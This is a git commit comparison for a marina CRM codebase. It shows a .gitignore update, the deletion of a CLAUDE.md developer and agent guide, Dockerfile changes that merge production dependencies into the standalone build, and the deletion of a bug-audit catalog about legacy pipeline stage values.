Compare commits
22 Commits
feat/resid
...
39c19b2340
| Author | SHA1 | Date | |
|---|---|---|---|
| 39c19b2340 | |||
| d1f6d6a427 | |||
| 3b227fe9b2 | |||
| 95724c8e3a | |||
| 93c6554c95 | |||
| 72028a7f32 | |||
| d485695357 | |||
| 23a5811342 | |||
| 102ee493f8 | |||
| c70eb1f945 | |||
| 42baaf7bfc | |||
| 319fd7fd1a | |||
| 2315b58764 | |||
| 15a139e86f | |||
| 04ddd59662 | |||
| 2a4dadd5a7 | |||
| 44b004fa8f | |||
| 5ea0c75fff | |||
| 0416dc8d39 | |||
| 990b566eff | |||
| f699533224 | |||
| 79b6ab2ae0 |
4
.gitignore
vendored
4
.gitignore
vendored
@@ -61,3 +61,7 @@ docker-compose.override.yml
|
||||
|
||||
# Scratch / audit artefacts
|
||||
tmp/
|
||||
|
||||
# Internal docs + Claude instructions: kept local-only, not in the shared repo
|
||||
docs/
|
||||
/CLAUDE.md
|
||||
|
||||
240
CLAUDE.md
240
CLAUDE.md
@@ -1,240 +0,0 @@
|
||||
# Port Nimara CRM
|
||||
|
||||
Multi-tenant CRM for marina/port management. Next.js 15 App Router (standalone), React 19, TypeScript strict (`noUncheckedIndexedAccess`, no `any`), Drizzle ORM on PostgreSQL.
|
||||
|
||||
## Quick reference
|
||||
|
||||
```bash
|
||||
pnpm dev # Dev server
|
||||
pnpm build # Production build
|
||||
pnpm lint / format # ESLint / Prettier
|
||||
pnpm db:generate # Generate Drizzle migrations
|
||||
pnpm db:push # Push schema to DB
|
||||
pnpm db:studio # Drizzle Studio GUI
|
||||
pnpm db:seed # Seed (tsx src/lib/db/seed.ts)
|
||||
|
||||
# Tests
|
||||
pnpm exec vitest run # Unit + integration (~3s)
|
||||
pnpm exec playwright test --project=smoke # Click-through smoke (~10min)
|
||||
pnpm exec playwright test --project=exhaustive # Full UI exhaustive
|
||||
pnpm exec playwright test --project=destructive # Archive/delete flows
|
||||
pnpm exec playwright test --project=realapi # Real Documenso/IMAP (opt-in)
|
||||
pnpm exec playwright test --project=visual # Pixel-diff baselines
|
||||
pnpm exec playwright test --project=visual --update-snapshots # Regenerate baselines
|
||||
|
||||
# Dev helpers
|
||||
pnpm tsx scripts/dev-trigger-portal-invite.ts # Send a portal activation email
|
||||
pnpm tsx scripts/dev-imap-probe.ts # Dump recent IMAP inbox messages
|
||||
|
||||
# Cloudflare quick-tunnel (for Documenso webhook testing)
|
||||
launchctl load ~/Library/LaunchAgents/solutions.letsbe.pn-crm-tunnel.plist # start
|
||||
launchctl unload ~/Library/LaunchAgents/solutions.letsbe.pn-crm-tunnel.plist # stop
|
||||
./scripts/tunnel-url.sh --copy # print + copy webhook URL
|
||||
|
||||
# Schema migration (pnpm db:migrate is broken — apply via psql)
|
||||
PGPASSWORD=changeme psql -h localhost -p 5434 -U crm -d port_nimara_crm -f src/lib/db/migrations/0075_*.sql
|
||||
```
|
||||
|
||||
## Working in this repo — skills, MCPs, agents
|
||||
|
||||
Reach for these before grinding through tasks manually:
|
||||
|
||||
- **Skills** (invoke with `Skill` tool):
|
||||
- `superpowers:brainstorming` before any feature/component work — explores intent + design first
|
||||
- `superpowers:test-driven-development` for any feature or bugfix
|
||||
- `superpowers:systematic-debugging` for any bug / test failure / unexpected behavior
|
||||
- `superpowers:verification-before-completion` before claiming "done" or committing
|
||||
- `superpowers:writing-plans` / `executing-plans` for multi-step specs
|
||||
- `superpowers:dispatching-parallel-agents` when 2+ tasks are independent
|
||||
- `frontend-design:frontend-design` for new UI work (avoids generic AI aesthetics)
|
||||
- `code-review:code-review` and `security-review` before merging
|
||||
- **MCPs**:
|
||||
- **Context7** (`mcp__plugin_context7_context7__*`) — pull current docs for Next 15, Drizzle, better-auth, BullMQ, Tailwind, Radix etc. Prefer over web search; our training data lags.
|
||||
- **Playwright** (`mcp__plugin_playwright_playwright__*`) — verify UI changes in a real browser before reporting "done". Default viewport — do NOT call `browser_resize`.
|
||||
- **Serena** (`mcp__plugin_serena_serena__*`) — symbol-level navigation (`find_symbol`, `find_referencing_symbols`, `replace_symbol_body`). Much faster than grep for "where is this called".
|
||||
- **Postman** (`mcp__claude_ai_Postman__*`) — when designing or auditing API surfaces.
|
||||
- **Agents** (via `Agent` tool, `subagent_type=`):
|
||||
- `Explore` for any codebase search that would take > 3 queries
|
||||
- `feature-dev:code-explorer` / `code-architect` / `code-reviewer` for new feature work
|
||||
- **Doctrine**: skills override default behavior except user instructions in this file. If a CLAUDE.md rule conflicts with a skill, this file wins.
|
||||
- **Pre-launch tracker**: `docs/launch-readiness.md` is the master pre-launch tracker for the beta phase. Append every launch-blocking initiative or sub-task there with status tags (`OPEN | IN PROGRESS | SHIPPED in <hash> | BLOCKED | DEFERRED`). Read it at the start of any non-trivial task.
|
||||
- **Manual UAT — currently active doc**: `docs/superpowers/audits/active-uat.md` is the **live** findings doc. Every UAT finding the user surfaces in chat lands here regardless of which session captures it. Persists across sessions until the user explicitly says to wrap the round and archive — at which point rename to `YYYY-MM-DD-uat.md` and start a fresh `active-uat.md`. Buckets: Quick fixes (<15min), Medium (15min–2h), Features/larger (>2h), Bugs (severity-tagged). Tag every entry with status: `OPEN | IN PROGRESS | SHIPPED in <hash> | QUEUED | BLOCKED`. Don't ask the format each time.
|
||||
|
||||
## Tech stack (non-obvious choices)
|
||||
|
||||
- **Auth:** better-auth — session cookie `pn-crm.session_token`
|
||||
- **Queue:** BullMQ + Redis (ioredis)
|
||||
- **Storage:** pluggable via `getStorageBackend()` — MinIO/S3 default; never import the S3 SDK directly
|
||||
- **Realtime:** Socket.IO with Redis adapter
|
||||
- **UI:** Radix UI + shadcn/ui (`src/components/ui/`) + Lucide + CVA + tailwind-merge
|
||||
- **Forms:** react-hook-form + zod resolvers
|
||||
- **State:** Zustand (`src/stores/`) + TanStack React Query
|
||||
- **PDF:** pdfme (templates) + pdf-lib (AcroForm fill)
|
||||
- **Email:** nodemailer + imapflow + mailparser
|
||||
|
||||
## Project structure
|
||||
|
||||
```
|
||||
src/
|
||||
app/
|
||||
(auth)/ # Login/auth pages
|
||||
(dashboard)/ # Main app — route: /[portSlug]/...
|
||||
(portal)/ # Client portal
|
||||
api/ # API routes (route.ts + sibling handlers.ts)
|
||||
components/
|
||||
ui/ # shadcn/ui base components
|
||||
layout/ # Shell, sidebar, header
|
||||
[domain]/ # clients, yachts, companies, reservations, berths, …
|
||||
shared/ # Cross-domain (BrandedAuthShell, InlineEditableField, …)
|
||||
hooks/ # use-auth, use-permissions, use-socket, …
|
||||
lib/
|
||||
api/ # Route helpers (parseBody, errorResponse, withAuth, …)
|
||||
auth/ # better-auth config
|
||||
db/schema/ # Drizzle schema — one file per domain, re-exported from index.ts
|
||||
db/migrations/ # Generated Drizzle migrations (apply via psql in dev)
|
||||
env.ts # Zod env validation (SKIP_ENV_VALIDATION=1 bypasses)
|
||||
services/ # Business logic
|
||||
storage/ # Pluggable storage backend
|
||||
templates/ # Email/document merge fields, berth-range formatter
|
||||
validators/ # Zod schemas for API input
|
||||
middleware.ts # Auth middleware (cookie check, redirects)
|
||||
stores/ # Zustand
|
||||
```
|
||||
|
||||
## Conventions & gotchas
|
||||
|
||||
### API shape
|
||||
|
||||
- **Envelope:** `{ data: <T> }` for any returned content (read OR write). Mutations returning nothing emit `204 No Content`. Don't use `{ success: true }` (legacy; normalized away 2026-05-07). Public portal-auth endpoints keep `{ success: true }` so the frontend can chain.
|
||||
- **Lists:** `{ data: <T[]>, total?, hasMore? }` — see `/api/v1/clients`.
|
||||
- **Errors:** always via `errorResponse(error)` from `@/lib/errors` (request-id propagation + audit-tier mapping).
|
||||
- **Body parsing:** always `parseBody(req, schema)` from `@/lib/api/route-helpers`. Raw `req.json() + schema.parse()` produces a generic 500 instead of the field-level 400 the frontend's `toastError` hook expects.
|
||||
- **Route handlers:** `route.ts` files can only export `GET|POST|…`. Service-tested handlers live in sibling `handlers.ts` (e.g. `src/app/api/v1/yachts/[id]/handlers.ts`) and are imported by `route.ts` with `withAuth(withPermission(...))`. Integration tests import from `handlers.ts` directly to bypass middleware.
|
||||
|
||||
### Data model
|
||||
|
||||
- **Polymorphic ownership:** Yachts and invoice billing-entities use `<entity>_type` + `<entity>_id` pairs (`'client' | 'company'`). Resolve via `src/lib/services/yachts.service.ts` / `eoi-context.ts` — never read the columns ad hoc.
|
||||
- **Multi-berth interest model:** `interest_berths` is the source of truth — `interests.berth_id` does not exist (dropped in 0029). Three flags: `is_primary` (≤1 per interest, partial unique index — "the berth for this deal"), `is_specific_interest` (true → public map shows "Under Offer"), `is_in_eoi_bundle` (covered by EOI signature). Read/write only via `src/lib/services/interest-berths.service.ts` helpers.
|
||||
- **Notes (polymorphic):** `notes.service.ts` dispatches across `clientNotes`/`interestNotes`/`yachtNotes`/`companyNotes` via an `entityType` discriminator. `<NotesList entityType="…" />` works for all four. `companyNotes` lacks `updatedAt` — service substitutes `createdAt` for shape uniformity.
|
||||
- **Mooring number canonical format:** `^[A-Z]+\d+$` (e.g. `A1`, `B12`, `E18`) — no hyphen, no leading zeros. Stored, displayed, URL-encoded, EOI-rendered in this exact form. Regex gates the public `/api/public/berths/[mooringNumber]` route before any DB hit.
|
||||
- **Routes:** Multi-tenant via `[portSlug]` dynamic segment. Typed routes enabled.
|
||||
|
||||
### Schema migrations during dev
|
||||
|
||||
After `db:push` or applying a migration via `psql` against a running dev server, **restart `next dev`**. Drizzle/postgres.js prepared statements cache stale column lists; symptom is `42703 column X does not exist` 500s on migrated tables.
|
||||
|
||||
### Documenso
|
||||
|
||||
- **Webhooks:** plaintext secret in `X-Documenso-Secret` (no HMAC) — timing-safe equality via `verifyDocumensoSecret`. Event names arrive uppercase-enum (`DOCUMENT_SIGNED`, `DOCUMENT_COMPLETED` …); the receiver also normalizes lowercase-dotted for forward-compat. `handleDocumentCompleted` is **idempotent** (early-return when `status='completed' && signedFileId`) so 5xx retries don't double-write. Switch handles SIGNED|COMPLETED|REJECTED|DECLINED|OPENED|EXPIRED + v2 aliases RECIPIENT_VIEWED/SIGNED. Detail: `docs/documenso-integration-audit.md`.
|
||||
- **v1 vs v2 routing:** `getPortDocumensoConfig(portId)` resolves per-port `apiVersion`. `documenso-client.ts` exports version-aware wrappers (`getDocument`, `createDocument`, `sendDocument`, `sendReminder`, `downloadSignedPdf`, `voidDocument`, `placeFields`). v2 → `/api/v2/envelope/*` (multipart create, `distribute` returns per-recipient signingUrl, `redistribute` for reminders, `field/create-many` for bulk placement). v1 → `/api/v1/documents/*`. **Template flow stays v1** (`/api/v1/templates/{id}/generate-document` with name-keyed `formValues`) — v2 instances accept via backcompat. v2-only settings honoured: `documenso_signing_order` (PARALLEL/SEQUENTIAL) + `documenso_redirect_url`.
|
||||
- **Response normalization:** 2.x uses `documentId` / `recipientId`; v1.13 uses `id`. `normalizeDocument()` surfaces the legacy `id` form to downstream consumers.
|
||||
- **`DOCUMENSO_API_URL`:** bare host only — never include `/api/v1`. Client appends versioned paths based on `DOCUMENSO_API_VERSION`. Double-pathing returns 404 with no useful diagnostic.
|
||||
|
||||
### EOI generation
|
||||
|
||||
- Two pathways share `EoiContext` (`src/lib/services/eoi-context.ts`). Documenso pathway uses `documenso-payload.ts` → template-generate endpoint; in-app pathway fills `assets/eoi-template.pdf` via `src/lib/pdf/fill-eoi-form.ts`. Routed through `generateAndSign(...)` in `document-templates.ts` with a `pathway` parameter.
|
||||
- **Merge fields:** Catalog in `src/lib/templates/merge-fields.ts`; `createTemplateSchema` uses `VALID_MERGE_TOKENS` as an allow-list, rejecting unknown tokens at template creation.
|
||||
- **Berth range formatter:** Multi-berth EOIs render the in-bundle berth set as a compact range ("A1-A3, B5-B7") via `formatBerthRange()` (`src/lib/templates/berth-range.ts`). Output populates the existing `Berth Number` Documenso field (single-berth = primary mooring verbatim; multi-berth = range). CRM UI always shows berths as chips. `{{eoi.berthRange}}` token available for template body copy.
|
||||
- Detail: `docs/eoi-documenso-field-mapping.md`, `assets/README.md`.
|
||||
|
||||
### UI patterns
|
||||
|
||||
- **Sheet vs Drawer:** `<Sheet side="right">` (`src/components/ui/sheet.tsx`, Radix dialog) is the canonical side-panel for both desktop and mobile (`w-3/4 sm:max-w-sm`). Vaul `<Drawer>` (`src/components/shared/drawer.tsx`) is mobile-bottom-sheet only — currently just `MoreSheet`. Need a side panel? Use Sheet. Don't add Vaul without a mobile-bottom-sheet justification.
|
||||
- **Inline editing:** Detail pages use `<InlineEditableField>` for text/select/textarea and `<InlineTagEditor>` for tag chips. Each entity exposes `PUT /api/v1/<entity>/[id]/tags` backed by a `set<Entity>Tags` service helper (single-transaction wipe-and-rewrite). No separate "Edit" modals — overview tab is editable in place.
|
||||
- **Email + auth surfaces:** Branded HTML in `src/lib/email/templates/`; portal-auth uses `portal-auth.ts`. All templates: table-based, max-width 600, logo + blurred overhead background (`s3.portnimara.com`). CRM `/login`, `/reset-password`, `/set-password` and portal `/portal/login`, `/portal/activate`, `/portal/reset-password` all wrap content in `<BrandedAuthShell>` for visual continuity.
|
||||
|
||||
### Document folders
|
||||
|
||||
- Per-port nestable tree (`document_folders.parent_id` self-FK; null parent = root). Documents and files carry nullable `folder_id`. Sibling-name uniqueness via `uniq_document_folders_sibling_name` on `(port_id, COALESCE(parent_id,'__root__'), LOWER(name))`. Folder delete is **soft rescue** (`deleteFolderSoftRescue`) — re-parents children up, drops folder; never CASCADE. `moveFolder` walks ancestor chain to prevent cycles.
|
||||
- Three system roots (`Clients/`, `Companies/`, `Yachts/`) auto-created via `ensureSystemRoots`. Entity subfolders are lazy via `ensureEntityFolder` — race-safe via partial unique index `uniq_document_folders_entity` on `(port_id, entity_type, entity_id) WHERE entity_id IS NOT NULL`. System rows mutated only by entity rename/archive/hard-delete (auto-sync via service helpers); `assertNotSystemManaged` rejects direct API mutation.
|
||||
- **Auto-deposit on signing completion:** `handleDocumentCompleted` resolves owner via the Owner-wins chain (`document.clientId ?? .companyId ?? .yachtId ?? interest.clientId`), ensures the entity folder, and sets `files.folder_id` + entity FK. Falls back to root when unresolvable.
|
||||
- **Aggregated projection:** `listFilesAggregatedByEntity` / `listInflightWorkflowsAggregatedByEntity` walk symmetric reach (Client ↔ Company via `company_memberships` active rows, ↔ Yacht via `yachts.current_owner_type/id`), group by source (DIRECTLY ATTACHED / FROM COMPANY / FROM YACHT / FROM CLIENT), cap 20 per group. **Defense-in-depth `port_id` at every join.** **File-FK snapshot is source of truth** — historical files stay filed even if relationships change.
|
||||
- Permission gating: `documents.view` reads; `documents.manage_folders` for create/rename/move/delete (system folders immutable via API).
|
||||
- Deploy: migration `0051_documents_hub_split.sql` + `pnpm db:backfill:doc-folders` (idempotent via per-port advisory lock).
|
||||
|
||||
### Berths
|
||||
|
||||
- **Public API:** `/api/public/berths` (list) + `/api/public/berths/[mooringNumber]` (single) feed the marketing site. Output mirrors legacy NocoDB shape verbatim. Status precedence: `"Sold"` > `"Under Offer"` (status OR active `is_specific_interest=true` link with open outcome) > `"Available"`. Cache `s-maxage=300, stale-while-revalidate=60`.
|
||||
- **Public health:** `/api/public/health` dual-mode — anonymous gets `{status, timestamp}` (never 503); requests with timing-safe `X-Intake-Secret` matching `WEBSITE_INTAKE_SECRET` get full `{checks: {db, redis}}` + 503 on failure. The website uses the authenticated form on startup so it refuses to start when pointed at the wrong env.
|
||||
- **Recommender:** Pure SQL (no AI). `src/lib/services/berth-recommender.service.ts`. Tier ladder A/B/C/D from `interest_berths` aggregates. Heat scoring fires only for tier B; weights tuned via `system_settings` (`heat_weight_*`, `recommender_*`, `fallthrough_*`, `tier_ladder_hide_late_stage`). Multi-port isolation enforced at entry point AND in the SQL aggregates CTE.
|
||||
- **Rules engine:** `src/lib/services/berth-rules-engine.ts`. Seven triggers, all wired: `eoi_sent`, `eoi_signed`, `deposit_received`, `contract_signed`, `interest_archived`, `interest_completed`, `berth_unlinked`. Callers fire `evaluateRule(...)` via dynamic import (circular-dep avoidance). Defaults vary; admins tune via `berth_rules` setting. Pairs with `advanceStageIfBehind` to keep pipeline stage in sync.
|
||||
- **Per-berth PDFs:** Versioned via `berth_pdf_versions`; `berths.current_pdf_version_id` is current. Storage key is UUID per upload (no collisions on concurrent uploads); `pg_advisory_xact_lock` per berth_id serializes version-number allocation. 3-tier parse: AcroForm → OCR (Tesseract.js) → optional AI on low confidence. Magic-byte (`%PDF-`) check on BOTH in-server and presigned-PUT paths. Mooring mismatch → service-level `ConflictError` unless `confirmMooringMismatch: true`.
|
||||
- **Brochures:** Per-port, `is_default` enforced by partial unique index `(port_id) WHERE is_default=true AND archived_at IS NULL`. Same upload flow as berth PDFs.
|
||||
- **NocoDB re-import:** `pnpm tsx scripts/import-berths-from-nocodb.ts --apply --port-slug port-nimara`. Idempotent (skips rows where `updated_at > last_imported_at` unless `--force`); add `--update-snapshot` to rewrite the seed JSON. Helpers in `src/lib/services/berth-import.ts` are unit-tested.
|
||||
- Plan-of-record: `docs/berth-recommender-and-pdf-plan.md`.
|
||||
|
||||
### Storage
|
||||
|
||||
- All file I/O through `getStorageBackend()` (`src/lib/storage/`). Interface: `put`, `get`, `head`, `delete`, `listByPrefix`, `presignUpload`, `presignDownload`. Selected via `system_settings.storage_backend` (`'s3' | 'filesystem'`). Switching backends = settings change + `pnpm tsx scripts/migrate-storage.ts` (round-trips every blob in `files`, `berth_pdf_versions`, `brochure_versions`, `gdpr_exports`, verifies SHA-256).
|
||||
- MinIO calls wrapped in 30s `withTimeout` to prevent TCP-blackhole stalls. **Filesystem backend is single-node only** — refuses to start when `MULTI_NODE_DEPLOYMENT=true`.
|
||||
|
||||
### Send-from accounts (sales send-outs)
|
||||
|
||||
- Configurable via `system_settings`; defaults to `sales@portnimara.com` (human) + `noreply@portnimara.com` (automation). SMTP/IMAP passwords AES-256-GCM at rest; API returns only `*PassIsSet` markers.
|
||||
- Audit → `document_sends` (separate from `audit_logs` for volume + binary refs). Body markdown rendered via `renderEmailBody()` (escape-then-allowlist; XSS-tested). Rate limit 50 sends/user/hour. Files > `email_attach_threshold_mb` ship as 24h signed-URL link (filename HTML-escaped against injection). The threshold banner in the compose UI is informational and shows whenever the preview API returns the per-port threshold — it does NOT depend on IMAP. Separately, bounce monitoring (`imap-bounce-poller.ts`) needs IMAP creds and no-ops cleanly when they're unset.
|
||||
|
||||
### Pre-commit
|
||||
|
||||
Husky + lint-staged runs ESLint fix + Prettier on staged `.ts`/`.tsx`. **Blocks all `.env*` files** (including `.env.example`) — pass them via a separate workflow if needed.
|
||||
|
||||
## Environment
|
||||
|
||||
Copy `.env.example` to `.env`. See `src/lib/env.ts` for the full Zod schema. `SKIP_ENV_VALIDATION=1` bypasses validation (Docker build).
|
||||
|
||||
Dev/test-only env (not in `.env.example`):
|
||||
|
||||
- `EMAIL_REDIRECT_TO=<address>` — reroutes every outbound email to this address, prefixes subject `[redirected from <original>]`. Dev safety net; **must be unset in production**.
|
||||
- `IMAP_HOST` / `IMAP_PORT` / `IMAP_USER` / `IMAP_PASS` — used by `tests/e2e/realapi/portal-imap-activation.spec.ts`; the spec skips when any are missing.
|
||||
|
||||
## Testing
|
||||
|
||||
Six Playwright projects (`playwright.config.ts`):
|
||||
|
||||
- `setup` — global setup (seeds users, port, berths, system settings)
|
||||
- `smoke` — fast click-through, run on every change (~10 min, 125 specs)
|
||||
- `exhaustive` — deeper UI coverage
|
||||
- `destructive` — archive/delete/cancel paths against throwaway entities
|
||||
- `realapi` — opt-in real Documenso send-side + IMAP round-trip. Needs `DOCUMENSO_API_*`, `SMTP_*`, `IMAP_*` env + cloudflared tunnel running for the local webhook receiver
|
||||
- `visual` — pixel-diff baselines (`tests/e2e/visual/snapshots.spec.ts-snapshots/`); regenerate with `--update-snapshots`
|
||||
|
||||
Vitest covers unit + integration with mocked externals (`tests/unit/`, `tests/integration/`).
|
||||
|
||||
## Docker
|
||||
|
||||
- `Dockerfile` — production multi-stage (deps → build → runner)
|
||||
- `Dockerfile.dev` — dev with bind-mounted source
|
||||
- `Dockerfile.worker` — BullMQ worker process
|
||||
- `docker-compose.yml` / `.dev.yml` / `.prod.yml`
|
||||
|
||||
## Architecture docs
|
||||
|
||||
Numbered specs (`01-CONSOLIDATED-SYSTEM-SPEC.md` … `15-DESIGN-TOKENS.md`) in repo root carry the detailed architecture decisions, schema docs, API catalog, and sequence.
|
||||
|
||||
### Beta-phase tracker (read this first)
|
||||
|
||||
We are in pre-launch beta. **`docs/launch-readiness.md` is the canonical
|
||||
home for every outstanding initiative we need to ship before
|
||||
production cutover.** Read it at the start of any non-trivial task to
|
||||
see what's in flight, what's blocked, and what's been deferred. Append
|
||||
new launch-blocking items there (status tags: `OPEN | IN PROGRESS |
|
||||
SHIPPED in <hash> | BLOCKED | DEFERRED`) — do NOT create a new
|
||||
parallel audit doc. Companion files:
|
||||
|
||||
- `docs/launch-readiness.md` — the master pre-launch tracker (5+
|
||||
initiatives: reports overhaul, marketing pipeline cutover, invoicing
|
||||
audit, codebase + security audit, website integration, e2e testing,
|
||||
data migration)
|
||||
- `docs/reports-content-spec.md` — working spec for the reports
|
||||
initiative (per-category KPIs / charts / tables); referenced by
|
||||
`launch-readiness.md` Initiative 1
|
||||
- `docs/superpowers/audits/active-uat.md` — live UAT findings the user
|
||||
surfaces in chat; persists across sessions until explicit wrap
|
||||
- `docs/BACKLOG.md` — long-tail backlog index (post-launch and
|
||||
general)
|
||||
|
||||
### Domain reference docs
|
||||
|
||||
- `docs/berth-recommender-and-pdf-plan.md` — berths + PDF + send-outs bundle
|
||||
- `docs/eoi-documenso-field-mapping.md` — canonical EoiContext ↔ Documenso/AcroForm mapping
|
||||
- `docs/documenso-integration-audit.md` — full Documenso v1/v2 quirks reference
|
||||
- `assets/README.md` — in-app EOI source PDF requirements
|
||||
35
Dockerfile
35
Dockerfile
@@ -5,6 +5,17 @@ WORKDIR /app
|
||||
COPY package.json pnpm-lock.yaml ./
|
||||
RUN pnpm install --frozen-lockfile --prod=false
|
||||
|
||||
# Stage 1b: Production dependency tree in a flat (hoisted) node_modules.
|
||||
# Hoisted = symlink-free, so a Docker COPY into the runner is faithful
|
||||
# (copying pnpm's default symlinked layout dereferences and breaks
|
||||
# transitive resolution); complete = the custom socket.io server's deps
|
||||
# (engine.io, accepts, ws, ...) all resolve at runtime.
|
||||
FROM node:20-alpine AS prod-deps
|
||||
RUN corepack enable && corepack prepare pnpm@10.33.2 --activate
|
||||
WORKDIR /app
|
||||
COPY package.json pnpm-lock.yaml ./
|
||||
RUN echo "node-linker=hoisted" > .npmrc && pnpm install --frozen-lockfile --prod
|
||||
|
||||
# Stage 2: Build the application
|
||||
FROM node:20-alpine AS builder
|
||||
RUN corepack enable && corepack prepare pnpm@10.33.2 --activate
|
||||
@@ -30,12 +41,24 @@ COPY --from=builder --chown=nextjs:nodejs /app/.next/standalone ./
|
||||
COPY --from=builder --chown=nextjs:nodejs /app/.next/static ./.next/static
|
||||
COPY --from=builder --chown=nextjs:nodejs /app/public ./public
|
||||
COPY --from=builder --chown=nextjs:nodejs /app/dist/server.js ./server-custom.js
|
||||
# Pin socket.io + @socket.io/redis-adapter into the runner — the custom
|
||||
# server (server-custom.js) requires them at runtime, but the Next
|
||||
# tracer has no reason to include them in .next/standalone since no
|
||||
# Next route imports the socket server. (build-auditor C3)
|
||||
COPY --from=deps --chown=nextjs:nodejs /app/node_modules/socket.io ./node_modules/socket.io
|
||||
COPY --from=deps --chown=nextjs:nodejs /app/node_modules/@socket.io ./node_modules/@socket.io
|
||||
# The Next standalone node_modules is a MATCHED SET with the turbopack
|
||||
# server chunks — it resolves turbopack's externalized packages (better-auth,
|
||||
# postgres, pino, minio, ...) by their hashed ids, so REPLACING it makes
|
||||
# every route that uses them 500 with "Failed to load external module".
|
||||
# But the custom server (server-custom.js, CJS via esbuild --packages=external)
|
||||
# require()s deps the trace omits or ships ESM-only: socket.io's closure
|
||||
# (accepts/ws/engine.io/cors) and drizzle-orm's CJS entry (index.cjs). So
|
||||
# MERGE the complete hoisted prod tree INTO the standalone node_modules with
|
||||
# rsync --ignore-existing: it ADDS the missing packages/files and SKIPS
|
||||
# everything the trace already provides (and unlike COPY/cp it tolerates the
|
||||
# trace's pnpm symlinks instead of erroring on symlink-vs-dir). The one
|
||||
# thing the standalone server bootstrap would set — globalThis.AsyncLocalStorage
|
||||
# — is handled up-front by src/server-runtime-preamble.ts.
|
||||
COPY --from=prod-deps --chown=nextjs:nodejs /app/node_modules /opt/prod-node-modules
|
||||
RUN apk add --no-cache --virtual .merge-deps rsync \
|
||||
&& rsync -a --ignore-existing /opt/prod-node-modules/ ./node_modules/ \
|
||||
&& rm -rf /opt/prod-node-modules \
|
||||
&& apk del .merge-deps
|
||||
USER nextjs
|
||||
EXPOSE 3000
|
||||
HEALTHCHECK --interval=30s --timeout=5s --start-period=20s --retries=3 \
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,733 +0,0 @@
|
||||
# Comprehensive Audit Catalog — 2026-05-15
|
||||
|
||||
Every audit-worthy surface in Port Nimara CRM, organized by area. Each entry is a discrete check we _could_ run. Pick the subset you want to actually execute.
|
||||
|
||||
**Legend:**
|
||||
|
||||
- **Effort:** XS (~minutes) · S (~30 min) · M (~half day) · L (~1+ day)
|
||||
- **Severity if broken:** 🔴 critical · 🟠 high · 🟡 medium · 🟢 cosmetic
|
||||
- **Coverage today:** ✅ confirmed working · ⚠️ partially checked · ❓ unchecked · ❌ known broken (see prior audits)
|
||||
|
||||
---
|
||||
|
||||
## 0. Already-known issues (cross-reference)
|
||||
|
||||
These were caught in the 2026-05-15 sweep (`docs/audit-2026-05-15.md`) but listed here so we don't re-discover them:
|
||||
|
||||
| ID | Issue | Status |
|
||||
| ----- | -------------------------------------------------------------------------- | --------------------- |
|
||||
| A1 | Dashboard activity feed surfaces raw `permission_denied` rows, no label | ❌ unfixed |
|
||||
| A2 | Activity feed renders legacy 9-stage enum values (`deposit_10pct` etc.) | ❌ unfixed |
|
||||
| A3 | react-grab CSP error spam in dev | ❌ unfixed (dev only) |
|
||||
| A4 | New Client form silently rejects when contact row has empty value | ❌ unfixed |
|
||||
| A5 | Socket.IO WebSocket never connects in `pnpm dev` | ❌ unfixed |
|
||||
| A6 | Some DialogContent missing `aria-describedby` | ❌ unfixed |
|
||||
| A8 | Legacy `statusOverrideMode = "auto"` values still in DB | ❌ unfixed |
|
||||
| A9 | Catch-up wizard defaults to "New Enquiry" instead of "EOI" for under_offer | ❌ unfixed |
|
||||
| A16 | File upload at documents-hub root fails with null vs string validator | ❌ unfixed |
|
||||
| A17 | `/api/v1/admin/ports` is super-admin-only but used as bootstrap resolver | ❌ unfixed |
|
||||
| A18 | 404 vs 403 inconsistency on permission denials | ❌ unfixed |
|
||||
| A19 | F27 same-stage PATCH returns 200 + body instead of 204 | ❌ unfixed |
|
||||
| A20 | OwnerPicker Client/Company toggle hidden until popover opens | ❌ unfixed |
|
||||
| A19_b | Portal `/portal/login` shows "unavailable" — scope undefined | ❌ unfixed |
|
||||
|
||||
---
|
||||
|
||||
## 1. Legacy stage enum bleed (the `deposit_10pct` class of bug)
|
||||
|
||||
**Why this matters:** the pipeline was refactored 9 stages → 7 stages but historical data still carries the old enum values in audit logs, soft-deleted rows, and possibly some hard-coded UI lookups. Every place that renders a stage value should map legacy → modern.
|
||||
|
||||
| ID | Check | Effort | Severity | Coverage |
|
||||
| ----- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------ | -------- | -------- |
|
||||
| L-001 | Grep entire `src/` for hard-coded references to legacy stage names: `details_sent`, `in_communication`, `eoi_sent`, `eoi_signed`, `deposit_10pct`, `contract_sent`, `contract_signed`, `completed` (as stage) | S | 🟠 | ❓ |
|
||||
| L-002 | Audit log diff display: does old `pipelineStage` value get human-friendly mapping? | S | 🟡 | ❌ (A2) |
|
||||
| L-003 | Activity feed labels: same mapping needed | S | 🟡 | ❌ (A2) |
|
||||
| L-004 | Email templates: any merge token surfacing raw stage values? | XS | 🟡 | ❓ |
|
||||
| L-005 | Documenso payload (`buildDocumensoPayload`): any stage references? | XS | 🟠 | ❓ |
|
||||
| L-006 | Public berths API: is `status` filter accepting any legacy values? | XS | 🟡 | ❓ |
|
||||
| L-007 | Webhook payloads: do outbound `interest.updated` events use 7-stage or legacy? | S | 🟠 | ❓ |
|
||||
| L-008 | Reports / analytics SQL: are funnel rollups using 7-stage enum exclusively? | M | 🟠 | ❓ |
|
||||
| L-009 | Search FTS indexes: do they include the mapped human stage or the raw enum? | S | 🟡 | ❓ |
|
||||
| L-010 | Notification copy: does "Stage moved to X" use the mapped label? | XS | 🟢 | ❓ |
|
||||
| L-011 | CSV import templates / column mappers: does anyone still accept legacy stage names? | XS | 🟢 | ❓ |
|
||||
| L-012 | Seed data: confirm no legacy stages in current seed (was migrated in `seed-synthetic-data.ts`) | XS | 🟢 | ✅ |
|
||||
| L-013 | Migration safety: would a re-import via NocoDB re-introduce legacy values? | S | 🟠 | ❓ |
|
||||
| L-014 | Status override mode: legacy `"auto"` value (see A8) — same class of bug | XS | 🟢 | ❌ (A8) |
|
||||
| L-015 | Outcome enum: confirm `won` / `lost_*` are the only modern values; no legacy `completed` outcome anywhere | S | 🟡 | ❓ |
|
||||
| L-016 | Lead category enum: any legacy values? | XS | 🟢 | ❓ |
|
||||
| L-017 | Lead source enum: ditto | XS | 🟢 | ❓ |
|
||||
| L-018 | Tenure type enum: ditto | XS | 🟢 | ❓ |
|
||||
| L-019 | Document doc-status sub-states: `sent`, `signed`, `completed`, `expired`, `rejected` — are they consistently applied? | S | 🟡 | ❓ |
|
||||
| L-020 | Reservation/contract status enum: any legacy / deprecated values lingering? | S | 🟡 | ❓ |
|
||||
|
||||
---
